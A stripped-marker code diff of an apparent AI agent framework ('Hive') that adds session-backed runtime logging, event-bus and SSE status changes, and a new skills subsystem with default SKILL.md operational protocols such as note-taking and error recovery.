run_immediately = tc.get("run_immediately", False)
if cron_expr:
# Cron expression mode — takes priority over interval_minutes
try:
from croniter import croniter
except ImportError as e:
raise RuntimeError(
"croniter is required for cron-based entry points. "
"Install it with: uv pip install croniter"
) from e
# Validate the expression upfront
try:
if not croniter.is_valid(cron_expr):
raise ValueError(f"Invalid cron expression: {cron_expr}")
except (ImportError, ValueError) as e:
except ValueError as e:
logger.warning(
"Entry point '%s' has invalid cron config: %s",
ep_id,
@@ -544,7 +598,7 @@ class AgentRuntime:
ep_id,
cron_expr,
run_immediately,
idle_timeout=tc.get("idle_timeout_seconds", 300),
idle_timeout=float(tc.get("idle_timeout_seconds", 300)),
)()
)
self._timer_tasks.append(task)
@@ -674,7 +728,7 @@ class AgentRuntime:
ep_id,
interval,
run_immediately,
idle_timeout=tc.get("idle_timeout_seconds", 300),
idle_timeout=float(tc.get("idle_timeout_seconds", 300)),
)()
)
self._timer_tasks.append(task)
@@ -921,6 +975,8 @@ class AgentRuntime:
accounts_prompt=self._accounts_prompt,
accounts_data=self._accounts_data,
tool_provider_map=self._tool_provider_map,
skills_catalog_prompt=self.skills_catalog_prompt,
protocols_prompt=self.protocols_prompt,
)
if self._running:
await stream.start()
@@ -999,7 +1055,8 @@ class AgentRuntime:
if spec.trigger_type != "timer":
continue
tc = spec.trigger_config
interval = tc.get("interval_minutes")
_raw_interval = tc.get("interval_minutes")
interval = float(_raw_interval) if _raw_interval is not None else None
run_immediately = tc.get("run_immediately", False)
if interval and interval > 0 and self._running:
@@ -1144,7 +1201,7 @@ class AgentRuntime:
ep_id,
interval,
run_immediately,
idle_timeout=tc.get("idle_timeout_seconds", 300),
idle_timeout=float(tc.get("idle_timeout_seconds", 300)),
)()
)
timer_tasks.append(task)
@@ -1699,6 +1756,10 @@ def create_agent_runtime(
accounts_data: list[dict] | None = None,
tool_provider_map: dict[str, str] | None = None,
event_bus: "EventBus | None" = None,
skills_manager_config: "SkillsManagerConfig | None" = None,
# Deprecated — pass skills_manager_config instead.
skills_catalog_prompt: str = "",
protocols_prompt: str = "",
) -> AgentRuntime:
"""
Create and configure an AgentRuntime with entry points.
@@ -1725,6 +1786,10 @@ def create_agent_runtime(
accounts_data: Raw account data for per-node prompt generation.
tool_provider_map: Tool name to provider name mapping for account routing.
event_bus: Optional external EventBus to share with other components.
skills_manager_config: Skill configuration the runtime owns
discovery, loading, and prompt renderation internally.
skills_catalog_prompt: Deprecated. Pre-rendered skills catalog.
protocols_prompt: Deprecated. Pre-rendered operational protocols.
Returns:
Configured AgentRuntime (not yet started)
@@ -1751,6 +1816,9 @@ def create_agent_runtime(
accounts_data=accounts_data,
tool_provider_map=tool_provider_map,
event_bus=event_bus,
skills_manager_config=skills_manager_config,
skills_catalog_prompt=skills_catalog_prompt,
protocols_prompt=protocols_prompt,
)
for spec in entry_points:
+7 -4
View File
@@ -262,7 +262,7 @@ class EventBus:
self._session_log: IO[str] | None = None
self._session_log_iteration_offset: int = 0
# Accumulator for client_output_delta snapshots — flushed on llm_turn_complete.
# Key: (stream_id, node_id, execution_id, iteration) → latest AgentEvent
# Key: (stream_id, node_id, execution_id, iteration, inner_turn) → latest AgentEvent
self._pending_output_snapshots: dict[tuple, AgentEvent] = {}
def set_session_log(self, path: Path, *, iteration_offset: int = 0) -> None:
@@ -328,6 +328,7 @@ class EventBus:
event.node_id,
event.execution_id,
event.data.get("iteration"),
event.data.get("inner_turn", 0),
)
self._pending_output_snapshots[key] = event
return
@@ -361,7 +362,7 @@ class EventBus:
to_flush: list[tuple] = []
for key, _evt in self._pending_output_snapshots.items():
if stream_id is not None:
k_stream, k_node, k_exec, _ = key
k_stream, k_node, k_exec, _, _ = key
if k_stream != stream_id or k_node != node_id or k_exec != execution_id:
continue
to_flush.append(key)
@@ -749,6 +750,7 @@ class EventBus:
content: str,
snapshot: str,
execution_id: str | None = None,
inner_turn: int = 0,
) -> None:
"""Emit LLM text delta event."""
await self.publish(
@@ -757,7 +759,7 @@ class EventBus:
stream_id=stream_id,
node_id=node_id,
execution_id=execution_id,
data={"content": content, "snapshot": snapshot},
data={"content": content, "snapshot": snapshot, "inner_turn": inner_turn},
)
)
@@ -873,9 +875,10 @@ class EventBus:
snapshot: str,
execution_id: str | None = None,
iteration: int | None = None,
inner_turn: int = 0,
) -> None:
"""Emit client output delta event (client_facing=True nodes)."""
data: dict = {"content": content, "snapshot": snapshot}
data: dict = {"content": content, "snapshot": snapshot, "inner_turn": inner_turn}
if iteration is not None:
data["iteration"] = iteration
await self.publish(
@@ -186,6 +186,8 @@ class ExecutionStream:
accounts_prompt: str = "",
accounts_data: list[dict] | None = None,
tool_provider_map: dict[str, str] | None = None,
skills_catalog_prompt: str = "",
protocols_prompt: str = "",
):
"""
Initialize execution stream.
@@ -209,6 +211,8 @@ class ExecutionStream:
accounts_prompt: Connected accounts block for system prompt injection
accounts_data: Raw account data for per-node prompt generation
tool_provider_map: Tool name to provider name mapping for account routing
skills_catalog_prompt: Available skills catalog for system prompt
protocols_prompt: Default skill operational protocols for system prompt
"""
self.stream_id = stream_id
self.entry_spec = entry_spec
@@ -230,6 +234,21 @@ class ExecutionStream:
self._accounts_prompt = accounts_prompt
self._accounts_data = accounts_data
self._tool_provider_map = tool_provider_map
self._skills_catalog_prompt = skills_catalog_prompt
self._protocols_prompt = protocols_prompt
_es_logger = logging.getLogger(__name__)
if protocols_prompt:
_es_logger.info(
"ExecutionStream[%s] received protocols_prompt (%d chars)",
stream_id,
len(protocols_prompt),
)
else:
_es_logger.warning(
"ExecutionStream[%s] received EMPTY protocols_prompt",
stream_id,
)
# Create stream-scoped runtime
self._runtime = StreamRuntime(
@@ -675,6 +694,8 @@ class ExecutionStream:
accounts_prompt=self._accounts_prompt,
accounts_data=self._accounts_data,
tool_provider_map=self._tool_provider_map,
skills_catalog_prompt=self._skills_catalog_prompt,
protocols_prompt=self._protocols_prompt,
)
# Track executor so inject_input() can reach EventLoopNode instances
self._active_executors[execution_id] = executor
+25 -12
View File
@@ -47,25 +47,34 @@ class RuntimeLogStore:
self._base_path = base_path
# Note: _runs_dir is determined per-run_id by _get_run_dir()
def _session_logs_dir(self, run_id: str) -> Path:
"""Return the unified session-backed logs directory for a run ID."""
is_runtime_logs = self._base_path.name == "runtime_logs"
root = self._base_path.parent if is_runtime_logs else self._base_path
return root / "sessions" / run_id / "logs"
def _legacy_run_dir(self, run_id: str) -> Path:
"""Return the deprecated standalone runs directory for a run ID."""
return self._base_path / "runs" / run_id
def _get_run_dir(self, run_id: str) -> Path:
"""Determine run directory path based on run_id format.
- New format (session_*): {storage_root}/sessions/{run_id}/logs/
- Session-backed runs: {storage_root}/sessions/{run_id}/logs/
- Old format (anything else): {base_path}/runs/{run_id}/ (deprecated)
"""
if run_id.startswith("session_"):
is_runtime_logs = self._base_path.name == "runtime_logs"
root = self._base_path.parent if is_runtime_logs else self._base_path
return root / "sessions" / run_id / "logs"
session_run_dir = self._session_logs_dir(run_id)
if session_run_dir.exists() or run_id.startswith("session_"):
return session_run_dir
import warnings
warnings.warn(
f"Reading logs from deprecated location for run_id={run_id}. "
"New sessions use unified storage at sessions/session_*/logs/",
"New sessions use unified storage at sessions/<session_id>/logs/",
DeprecationWarning,
stacklevel=3,
)
return self._base_path / "runs" / run_id
return self._legacy_run_dir(run_id)
# -------------------------------------------------------------------
# Incremental write (sync — called from locked sections)
@@ -76,6 +85,10 @@ class RuntimeLogStore:
run_dir = self._get_run_dir(run_id)
run_dir.mkdir(parents=True, exist_ok=True)
def ensure_session_run_dir(self, run_id: str) -> None:
"""Create the unified session-backed log directory immediately."""
self._session_logs_dir(run_id).mkdir(parents=True, exist_ok=True)
def append_step(self, run_id: str, step: NodeStepLog) -> None:
"""Append one JSONL line to tool_logs.jsonl. Sync."""
path = self._get_run_dir(run_id) / "tool_logs.jsonl"
@@ -200,17 +213,17 @@ class RuntimeLogStore:
run_ids = []
# Scan new location: base_path/sessions/{session_id}/logs/
# Determine the correct base path for sessions
is_runtime_logs = self._base_path.name == "runtime_logs"
root = self._base_path.parent if is_runtime_logs else self._base_path
sessions_dir = root / "sessions"
if sessions_dir.exists():
for session_dir in sessions_dir.iterdir():
if session_dir.is_dir() and session_dir.name.startswith("session_"):
logs_dir = session_dir / "logs"
if logs_dir.exists() and logs_dir.is_dir():
run_ids.append(session_dir.name)
if not session_dir.is_dir():
continue
logs_dir = session_dir / "logs"
if logs_dir.exists() and logs_dir.is_dir():
run_ids.append(session_dir.name)
# Scan old location: base_path/runs/ (deprecated)
old_runs_dir = self._base_path / "runs"
+2 -1
View File
@@ -66,15 +66,16 @@ class RuntimeLogger:
"""
if session_id:
self._run_id = session_id
self._store.ensure_session_run_dir(self._run_id)
else:
ts = datetime.now(UTC).strftime("%Y%m%dT%H%M%S")
short_uuid = uuid.uuid4().hex[:8]
self._run_id = f"{ts}_{short_uuid}"
self._store.ensure_run_dir(self._run_id)
self._goal_id = goal_id
self._started_at = datetime.now(UTC).isoformat()
self._logged_node_ids = set()
self._store.ensure_run_dir(self._run_id)
return self._run_id
def log_step(
@@ -0,0 +1,29 @@
"""Tests for custom session-backed runtime logging paths."""
from pathlib import Path
from unittest.mock import MagicMock
from framework.graph.executor import GraphExecutor
from framework.runtime.runtime_log_store import RuntimeLogStore
from framework.runtime.runtime_logger import RuntimeLogger
def test_graph_executor_uses_custom_session_dir_name_for_runtime_logs():
executor = GraphExecutor(
runtime=MagicMock(),
storage_path=Path("/tmp/test-agent/sessions/my-custom-session"),
)
assert executor._get_runtime_log_session_id() == "my-custom-session"
def test_runtime_logger_creates_session_log_dir_for_custom_session_id(tmp_path):
base = tmp_path / ".hive" / "agents" / "test_agent"
base.mkdir(parents=True)
store = RuntimeLogStore(base)
logger = RuntimeLogger(store=store, agent_id="test-agent")
run_id = logger.start_run(goal_id="goal-1", session_id="my-custom-session")
assert run_id == "my-custom-session"
assert (base / "sessions" / "my-custom-session" / "logs").is_dir()
@@ -216,6 +216,16 @@ async def create_queen(
+ worker_identity
)
# ---- Default skill protocols -------------------------------------
try:
from framework.skills.manager import SkillsManager
_queen_skills_mgr = SkillsManager()
_queen_skills_mgr.load()
phase_state.protocols_prompt = _queen_skills_mgr.protocols_prompt
except Exception:
logger.debug("Queen skill loading failed (non-fatal)", exc_info=True)
# ---- Persona hook ------------------------------------------------
_session_llm = session.llm
_session_event_bus = session.event_bus
+7 -2
View File
@@ -103,7 +103,9 @@ async def handle_delete_credential(request: web.Request) -> web.Response:
if credential_id == "aden_api_key":
from framework.credentials.key_storage import delete_aden_api_key
delete_aden_api_key()
deleted = delete_aden_api_key()
if not deleted:
return web.json_response({"error": "Credential 'aden_api_key' not found"}, status=404)
return web.json_response({"deleted": True})
store = _get_store(request)
@@ -178,7 +180,10 @@ async def handle_check_agent(request: web.Request) -> web.Response:
)
except Exception as e:
logger.exception(f"Error checking agent credentials: {e}")
return web.json_response({"error": str(e)}, status=500)
return web.json_response(
{"error": "Internal server error while checking credentials"},
status=500,
)
def _status_to_dict(c) -> dict:
+49 -1
View File
@@ -6,7 +6,7 @@ import logging
from aiohttp import web
from aiohttp.client_exceptions import ClientConnectionResetError as _AiohttpConnReset
from framework.runtime.event_bus import EventType
from framework.runtime.event_bus import AgentEvent, EventType
from framework.server.app import resolve_session
logger = logging.getLogger(__name__)
@@ -165,6 +165,54 @@ async def handle_events(request: web.Request) -> web.StreamResponse:
if replayed:
logger.info("SSE replayed %d buffered events for session='%s'", replayed, session.id)
# Inject a live-status snapshot so the frontend knows which nodes are
# currently running. This covers the case where the user navigated away
# and back — the localStorage snapshot is stale, and the ring-buffer
# replay may not include the original node_loop_started events.
worker_runtime = getattr(session, "worker_runtime", None)
if worker_runtime and getattr(worker_runtime, "is_running", False):
try:
for stream_info in worker_runtime.get_active_streams():
graph_id = stream_info.get("graph_id")
stream_id = stream_info.get("stream_id", "default")
for exec_id in stream_info.get("active_execution_ids", []):
# Synthesize execution_started so frontend sets workerRunState
synth_exec = AgentEvent(
type=EventType.EXECUTION_STARTED,
stream_id=stream_id,
execution_id=exec_id,
graph_id=graph_id,
data={"synthetic": True},
).to_dict()
try:
queue.put_nowait(synth_exec)
except asyncio.QueueFull:
pass
# Find the currently executing node via the executor
for _gid, reg in worker_runtime._graphs.items():
if _gid != graph_id:
continue
for _ep_id, stream in reg.streams.items():
for exec_id, executor in stream._active_executors.items():
current = getattr(executor, "current_node_id", None)
if current:
synth_node = AgentEvent(
type=EventType.NODE_LOOP_STARTED,
stream_id=stream_id,
node_id=current,
execution_id=exec_id,
graph_id=graph_id,
data={"synthetic": True},
).to_dict()
try:
queue.put_nowait(synth_node)
except asyncio.QueueFull:
pass
logger.info("SSE injected live-status snapshot for session='%s'", session.id)
except Exception:
logger.debug("Failed to inject live-status snapshot", exc_info=True)
event_count = 0
close_reason = "unknown"
try:
+7 -3
View File
@@ -64,7 +64,9 @@ def _session_to_live_dict(session) -> dict:
"loaded_at": session.loaded_at,
"uptime_seconds": round(time.time() - session.loaded_at, 1),
"intro_message": getattr(session.runner, "intro_message", "") or "",
"queen_phase": phase_state.phase if phase_state else "planning",
"queen_phase": phase_state.phase
if phase_state
else ("staging" if session.worker_runtime else "planning"),
}
@@ -492,12 +494,14 @@ async def handle_list_worker_sessions(request: web.Request) -> web.Response:
sessions = []
for d in sorted(sess_dir.iterdir(), reverse=True):
if not d.is_dir() or not d.name.startswith("session_"):
if not d.is_dir():
continue
state_path = d / "state.json"
if not d.name.startswith("session_") and not state_path.exists():
continue
entry: dict = {"session_id": d.name}
state_path = d / "state.json"
if state_path.exists():
try:
state = json.loads(state_path.read_text(encoding="utf-8"))
+54 -5
View File
@@ -210,11 +210,8 @@ def tmp_agent_dir(tmp_path, monkeypatch):
return tmp_path, agent_name, base
@pytest.fixture
def sample_session(tmp_agent_dir):
"""Create a sample session with state.json, checkpoints, and conversations."""
tmp_path, agent_name, base = tmp_agent_dir
session_id = "session_20260220_120000_abc12345"
def _write_sample_session(base: Path, session_id: str):
"""Create a sample worker session on disk."""
session_dir = base / "sessions" / session_id
# state.json
@@ -295,6 +292,20 @@ def sample_session(tmp_agent_dir):
return session_id, session_dir, state
@pytest.fixture
def sample_session(tmp_agent_dir):
"""Create a sample session with state.json, checkpoints, and conversations."""
_tmp_path, _agent_name, base = tmp_agent_dir
return _write_sample_session(base, "session_20260220_120000_abc12345")
@pytest.fixture
def custom_id_session(tmp_agent_dir):
"""Create a sample session that uses a custom non-session_* ID."""
_tmp_path, _agent_name, base = tmp_agent_dir
return _write_sample_session(base, "my-custom-session")
def _make_app_with_session(session):
"""Create an aiohttp app with a pre-loaded session."""
app = create_app()
@@ -799,6 +810,22 @@ class TestWorkerSessions:
assert data["sessions"][0]["status"] == "paused"
assert data["sessions"][0]["steps"] == 5
@pytest.mark.asyncio
async def test_list_sessions_includes_custom_id(self, custom_id_session, tmp_agent_dir):
session_id, session_dir, state = custom_id_session
tmp_path, agent_name, base = tmp_agent_dir
session = _make_session(tmp_dir=tmp_path / ".hive" / "agents" / agent_name)
app = _make_app_with_session(session)
async with TestClient(TestServer(app)) as client:
resp = await client.get("/api/sessions/test_agent/worker-sessions")
assert resp.status == 200
data = await resp.json()
assert len(data["sessions"]) == 1
assert data["sessions"][0]["session_id"] == session_id
assert data["sessions"][0]["status"] == "paused"
@pytest.mark.asyncio
async def test_list_sessions_empty(self, tmp_agent_dir):
tmp_path, agent_name, base = tmp_agent_dir
@@ -1316,6 +1343,28 @@ class TestLogs:
assert len(data["logs"]) >= 1
assert data["logs"][0]["run_id"] == session_id
@pytest.mark.asyncio
async def test_logs_list_summaries_with_custom_id(self, custom_id_session, tmp_agent_dir):
session_id, session_dir, state = custom_id_session
tmp_path, agent_name, base = tmp_agent_dir
from framework.runtime.runtime_log_store import RuntimeLogStore
log_store = RuntimeLogStore(base)
session = _make_session(
tmp_dir=tmp_path / ".hive" / "agents" / agent_name,
log_store=log_store,
)
app = _make_app_with_session(session)
async with TestClient(TestServer(app)) as client:
resp = await client.get("/api/sessions/test_agent/logs")
assert resp.status == 200
data = await resp.json()
assert "logs" in data
assert len(data["logs"]) >= 1
assert data["logs"][0]["run_id"] == session_id
@pytest.mark.asyncio
async def test_logs_session_summary(self, sample_session, tmp_agent_dir):
session_id, session_dir, state = sample_session
+26
View File
@@ -0,0 +1,26 @@
"""Hive Agent Skills — discovery, parsing, and injection of SKILL.md packages.
Implements the open Agent Skills standard (agentskills.io) for portable
skill discovery and activation, plus built-in default skills for runtime
operational discipline.
"""
from framework.skills.catalog import SkillCatalog
from framework.skills.config import DefaultSkillConfig, SkillsConfig
from framework.skills.defaults import DefaultSkillManager
from framework.skills.discovery import DiscoveryConfig, SkillDiscovery
from framework.skills.manager import SkillsManager, SkillsManagerConfig
from framework.skills.parser import ParsedSkill, parse_skill_md
__all__ = [
"DefaultSkillConfig",
"DefaultSkillManager",
"DiscoveryConfig",
"ParsedSkill",
"SkillCatalog",
"SkillDiscovery",
"SkillsConfig",
"SkillsManager",
"SkillsManagerConfig",
"parse_skill_md",
]
@@ -0,0 +1,24 @@
---
name: hive.batch-ledger
description: Track per-item status when processing collections to prevent skipped or duplicated items.
metadata:
author: hive
type: default-skill
---
## Operational Protocol: Batch Progress Ledger
When processing a collection of items, maintain a batch ledger in `_batch_ledger`.
Initialize when you identify the batch:
- `_batch_total`: total item count
- `_batch_ledger`: JSON with per-item status
Per-item statuses: pending → in_progress → completed|failed|skipped
- Set `in_progress` BEFORE processing
- Set final status AFTER processing with 1-line result_summary
- Include error reason for failed/skipped items
- Update aggregate counts after each item
- NEVER remove items from the ledger
- If resuming, skip items already marked completed
@@ -0,0 +1,22 @@
---
name: hive.context-preservation
description: Proactively preserve critical information before automatic context pruning destroys it.
metadata:
author: hive
type: default-skill
---
## Operational Protocol: Context Preservation
You operate under a finite context window. Important information WILL be pruned.
Save-As-You-Go: After any tool call producing information you'll need later,
immediately extract key data into `_working_notes` or `_preserved_data`.
Do NOT rely on referring back to old tool results.
What to extract: URLs and key snippets (not full pages), relevant API fields
(not raw JSON), specific lines/values (not entire files), analysis results
(not raw data).
Before transitioning to the next phase/node, write a handoff summary to
`_handoff_context` with everything the next phase needs to know.
@@ -0,0 +1,18 @@
---
name: hive.error-recovery
description: Follow a structured recovery protocol when tool calls fail instead of blindly retrying or giving up.
metadata:
author: hive
type: default-skill
---
## Operational Protocol: Error Recovery
When a tool call fails:
1. Diagnose — record error in notes, classify as transient or structural
2. Decide — transient: retry once. Structural fixable: fix and retry.
Structural unfixable: record as failed, move to next item.
Blocking all progress: record escalation note.
3. Adapt — if same tool failed 3+ times, stop using it and find alternative.
Update plan in notes. Never silently drop the failed item.
@@ -0,0 +1,27 @@
---
name: hive.note-taking
description: Maintain structured working notes throughout execution to prevent information loss during context pruning.
metadata:
author: hive
type: default-skill
---
## Operational Protocol: Structured Note-Taking
Maintain structured working notes in shared memory key `_working_notes`.
Update at these checkpoints:
- After completing each discrete subtask or batch item
- After receiving new information that changes your plan
- Before any tool call that will produce substantial output
Structure:
### Objective — restate the goal
### Current Plan — numbered steps, mark completed with ✓
### Key Decisions — decisions made and WHY
### Working Data — intermediate results, extracted values
### Open Questions — uncertainties to verify
### Blockers — anything preventing progress
Update incrementally — do not rewrite from scratch each time.
@@ -0,0 +1,20 @@
---
name: hive.quality-monitor
description: Periodically self-assess output quality to catch degradation before the judge does.
metadata:
author: hive
type: default-skill
---
## Operational Protocol: Quality Self-Assessment
Every 5 iterations, self-assess:
1. On-task? Still working toward the stated objective?
2. Thorough? Cutting corners compared to earlier?
3. Non-repetitive? Producing new value or rehashing?
4. Consistent? Latest output contradict earlier decisions?
5. Complete? Tracking all items, or silently dropped some?
If degrading: write assessment to `_quality_log`, re-read `_working_notes`,
change approach explicitly. If acceptable: brief note in `_quality_log`.
@@ -0,0 +1,17 @@
---
name: hive.task-decomposition
description: Decompose complex tasks into explicit subtasks before diving in.
metadata:
author: hive
type: default-skill
---
## Operational Protocol: Task Decomposition
Before starting a complex task:
1. Decompose — break into numbered subtasks in `_working_notes` Current Plan
2. Estimate — relative effort per subtask (small/medium/large)
3. Execute — work through in order, mark ✓ when complete
4. Budget — if running low on iterations, prioritize by impact
5. Verify — before declaring done, every subtask must be ✓, skipped (with reason), or blocked
+107
View File
@@ -0,0 +1,107 @@
"""Skill catalog — in-memory index with system prompt generation.
Builds the XML catalog injected into the system prompt for model-driven
skill activation per the Agent Skills standard.
"""
from __future__ import annotations
import logging
from xml.sax.saxutils import escape
from framework.skills.parser import ParsedSkill
logger = logging.getLogger(__name__)
_BEHAVIORAL_INSTRUCTION = (
"The following skills provide specialized instructions for specific tasks.\n"
"When a task matches a skill's description, read the SKILL.md at the listed\n"
"location to load the full instructions before proceeding.\n"
"When a skill references relative paths, resolve them against the skill's\n"
"directory (the parent of SKILL.md) and use absolute paths in tool calls."
)
class SkillCatalog:
"""In-memory catalog of discovered skills."""
def __init__(self, skills: list[ParsedSkill] | None = None):
self._skills: dict[str, ParsedSkill] = {}
self._activated: set[str] = set()
if skills:
for skill in skills:
self.add(skill)
def add(self, skill: ParsedSkill) -> None:
"""Add a skill to the catalog."""
self._skills[skill.name] = skill
def get(self, name: str) -> ParsedSkill | None:
"""Look up a skill by name."""
return self._skills.get(name)
def mark_activated(self, name: str) -> None:
"""Mark a skill as activated in the current session."""
self._activated.add(name)
def is_activated(self, name: str) -> bool:
"""Check if a skill has been activated."""
return name in self._activated
@property
def skill_count(self) -> int:
return len(self._skills)
@property
def allowlisted_dirs(self) -> list[str]:
"""All skill base directories for file access allowlisting."""
return [skill.base_dir for skill in self._skills.values()]
def to_prompt(self) -> str:
"""Generate the catalog prompt for system prompt injection.
Returns empty string if no community/user skills are discovered
(default skills are handled separately by DefaultSkillManager).
"""
# Filter out framework-scope skills (default skills) — they're
# injected via the protocols prompt, not the catalog
community_skills = [s for s in self._skills.values() if s.source_scope != "framework"]
if not community_skills:
return ""
lines = ["<available_skills>"]
for skill in sorted(community_skills, key=lambda s: s.name):
lines.append(" <skill>")
lines.append(f" <name>{escape(skill.name)}</name>")
lines.append(f" <description>{escape(skill.description)}</description>")
lines.append(f" <location>{escape(skill.location)}</location>")
lines.append(" </skill>")
lines.append("</available_skills>")
xml_block = "\n".join(lines)
return f"{_BEHAVIORAL_INSTRUCTION}\n\n{xml_block}"
def build_pre_activated_prompt(self, skill_names: list[str]) -> str:
"""Build prompt content for pre-activated skills.
Pre-activated skills get their full SKILL.md body loaded into
the system prompt at startup (tier 2), bypassing model-driven
activation.
Returns empty string if no skills match.
"""
parts: list[str] = []
for name in skill_names:
skill = self.get(name)
if skill is None:
logger.warning("Pre-activated skill '%s' not found in catalog", name)
continue
if self.is_activated(name):
continue # Already activated, skip duplicate
self.mark_activated(name)
parts.append(f"--- Pre-Activated Skill: {skill.name} ---\n{skill.body}")
return "\n\n".join(parts)
+100
View File
@@ -0,0 +1,100 @@
"""Skill configuration dataclasses.
Handles agent-level skill configuration from module-level variables
(``default_skills`` and ``skills``).
"""
from __future__ import annotations
from dataclasses import dataclass, field
from typing import Any
@dataclass
class DefaultSkillConfig:
"""Configuration for a single default skill."""
enabled: bool = True
overrides: dict[str, Any] = field(default_factory=dict)
@classmethod
def from_dict(cls, data: dict[str, Any]) -> DefaultSkillConfig:
enabled = data.get("enabled", True)
overrides = {k: v for k, v in data.items() if k != "enabled"}
return cls(enabled=enabled, overrides=overrides)
@dataclass
class SkillsConfig:
"""Agent-level skill configuration.
Built from module-level variables in agent.py::
# Pre-activated community skills
skills = ["deep-research", "code-review"]
# Default skill configuration
default_skills = {
"hive.note-taking": {"enabled": True},
"hive.batch-ledger": {"enabled": True, "checkpoint_every_n": 10},
"hive.quality-monitor": {"enabled": False},
}
"""
# Per-default-skill config, keyed by skill name (e.g. "hive.note-taking")
default_skills: dict[str, DefaultSkillConfig] = field(default_factory=dict)
# Pre-activated community skills (by name)
skills: list[str] = field(default_factory=list)
# Master switch: disable all default skills at once
all_defaults_disabled: bool = False
def is_default_enabled(self, skill_name: str) -> bool:
"""Check if a specific default skill is enabled."""
if self.all_defaults_disabled:
return False
config = self.default_skills.get(skill_name)
if config is None:
return True # enabled by default
return config.enabled
def get_default_overrides(self, skill_name: str) -> dict[str, Any]:
"""Get skill-specific configuration overrides."""
config = self.default_skills.get(skill_name)
if config is None:
return {}
return config.overrides
@classmethod
def from_agent_vars(
cls,
default_skills: dict[str, Any] | None = None,
skills: list[str] | None = None,
) -> SkillsConfig:
"""Build config from agent module-level variables.
Args:
default_skills: Dict from agent module, e.g.
``{"hive.note-taking": {"enabled": True}}``
skills: List of pre-activated skill names from agent module
"""
all_disabled = False
parsed_defaults: dict[str, DefaultSkillConfig] = {}
if default_skills:
for name, config_dict in default_skills.items():
if name == "_all":
if isinstance(config_dict, dict) and not config_dict.get("enabled", True):
all_disabled = True
continue
if isinstance(config_dict, dict):
parsed_defaults[name] = DefaultSkillConfig.from_dict(config_dict)
elif isinstance(config_dict, bool):
parsed_defaults[name] = DefaultSkillConfig(enabled=config_dict)
return cls(
default_skills=parsed_defaults,
skills=list(skills or []),
all_defaults_disabled=all_disabled,
)
+151
View File
@@ -0,0 +1,151 @@
"""DefaultSkillManager — load, configure, and inject built-in default skills.
Default skills are SKILL.md packages shipped with the framework that provide
runtime operational protocols (note-taking, batch tracking, error recovery, etc.).
"""
from __future__ import annotations
import logging
from pathlib import Path
from framework.skills.config import SkillsConfig
from framework.skills.parser import ParsedSkill, parse_skill_md
logger = logging.getLogger(__name__)
# Default skills directory relative to this module
_DEFAULT_SKILLS_DIR = Path(__file__).parent / "_default_skills"
# Ordered list of default skills (name → directory)
SKILL_REGISTRY: dict[str, str] = {
"hive.note-taking": "note-taking",
"hive.batch-ledger": "batch-ledger",
"hive.context-preservation": "context-preservation",
"hive.quality-monitor": "quality-monitor",
"hive.error-recovery": "error-recovery",
"hive.task-decomposition": "task-decomposition",
}
# All shared memory keys used by default skills (for permission auto-inclusion)
SHARED_MEMORY_KEYS: list[str] = [
# note-taking
"_working_notes",
"_notes_updated_at",
# batch-ledger
"_batch_ledger",
"_batch_total",
"_batch_completed",
"_batch_failed",
# context-preservation
"_handoff_context",
"_preserved_data",
# quality-monitor
"_quality_log",
"_quality_degradation_count",
# error-recovery
"_error_log",
"_failed_tools",
"_escalation_needed",
# task-decomposition
"_subtasks",
"_iteration_budget_remaining",
]
class DefaultSkillManager:
"""Manages loading, configuration, and prompt generation for default skills."""
def __init__(self, config: SkillsConfig | None = None):
self._config = config or SkillsConfig()
self._skills: dict[str, ParsedSkill] = {}
self._loaded = False
def load(self) -> None:
"""Load all enabled default skill SKILL.md files."""
if self._loaded:
return
for skill_name, dir_name in SKILL_REGISTRY.items():
if not self._config.is_default_enabled(skill_name):
logger.info("Default skill '%s' disabled by config", skill_name)
continue
skill_path = _DEFAULT_SKILLS_DIR / dir_name / "SKILL.md"
if not skill_path.is_file():
logger.error("Default skill SKILL.md not found: %s", skill_path)
continue
parsed = parse_skill_md(skill_path, source_scope="framework")
if parsed is None:
logger.error("Failed to parse default skill: %s", skill_path)
continue
self._skills[skill_name] = parsed
self._loaded = True
def build_protocols_prompt(self) -> str:
"""Build the combined operational protocols section.
Extracts protocol sections from all enabled default skills and
combines them into a single ``## Operational Protocols`` block
for system prompt injection.
Returns empty string if all defaults are disabled.
"""
if not self._skills:
return ""
parts: list[str] = ["## Operational Protocols\n"]
for skill_name in SKILL_REGISTRY:
skill = self._skills.get(skill_name)
if skill is None:
continue
# Use the full body — each SKILL.md contains exactly one protocol section
parts.append(skill.body)
if len(parts) <= 1:
return ""
combined = "\n\n".join(parts)
# Token budget warning (approximate: 1 token ≈ 4 chars)
approx_tokens = len(combined) // 4
if approx_tokens > 2000:
logger.warning(
"Default skill protocols exceed 2000 token budget "
"(~%d tokens, %d chars). Consider trimming.",
approx_tokens,
len(combined),
)
return combined
def log_active_skills(self) -> None:
"""Log which default skills are active and their configuration."""
if not self._skills:
logger.info("Default skills: all disabled")
return
active = []
for skill_name in SKILL_REGISTRY:
if skill_name in self._skills:
overrides = self._config.get_default_overrides(skill_name)
if overrides:
active.append(f"{skill_name} ({overrides})")
else:
active.append(skill_name)
logger.info("Default skills active: %s", ", ".join(active))
@property
def active_skill_names(self) -> list[str]:
"""Names of all currently active default skills."""
return list(self._skills.keys())
@property
def active_skills(self) -> dict[str, ParsedSkill]:
"""All active default skills keyed by name."""
return dict(self._skills)
+183
View File
@@ -0,0 +1,183 @@
"""Skill discovery — scan standard directories for SKILL.md files.
Implements the Agent Skills standard discovery paths plus Hive-specific
locations. Resolves name collisions deterministically.
"""
from __future__ import annotations
import logging
from dataclasses import dataclass
from pathlib import Path
from framework.skills.parser import ParsedSkill, parse_skill_md
logger = logging.getLogger(__name__)
# Directories to skip during scanning
_SKIP_DIRS = frozenset(
{
".git",
"node_modules",
"__pycache__",
".venv",
"venv",
".mypy_cache",
".pytest_cache",
".ruff_cache",
}
)
# Scope priority (higher = takes precedence)
_SCOPE_PRIORITY = {
"framework": 0,
"user": 1,
"project": 2,
}
# Within the same scope, Hive-specific paths override cross-client paths.
# We encode this by scanning cross-client first, then Hive-specific (later wins).
@dataclass
class DiscoveryConfig:
"""Configuration for skill discovery."""
project_root: Path | None = None
skip_user_scope: bool = False
skip_framework_scope: bool = False
max_depth: int = 4
max_dirs: int = 2000
class SkillDiscovery:
"""Scans standard directories for SKILL.md files and resolves collisions."""
def __init__(self, config: DiscoveryConfig | None = None):
self._config = config or DiscoveryConfig()
def discover(self) -> list[ParsedSkill]:
"""Scan all scopes and return deduplicated skill list.
Scanning order (lowest to highest precedence):
1. Framework defaults
2. User cross-client (~/.agents/skills/)
3. User Hive-specific (~/.hive/skills/)
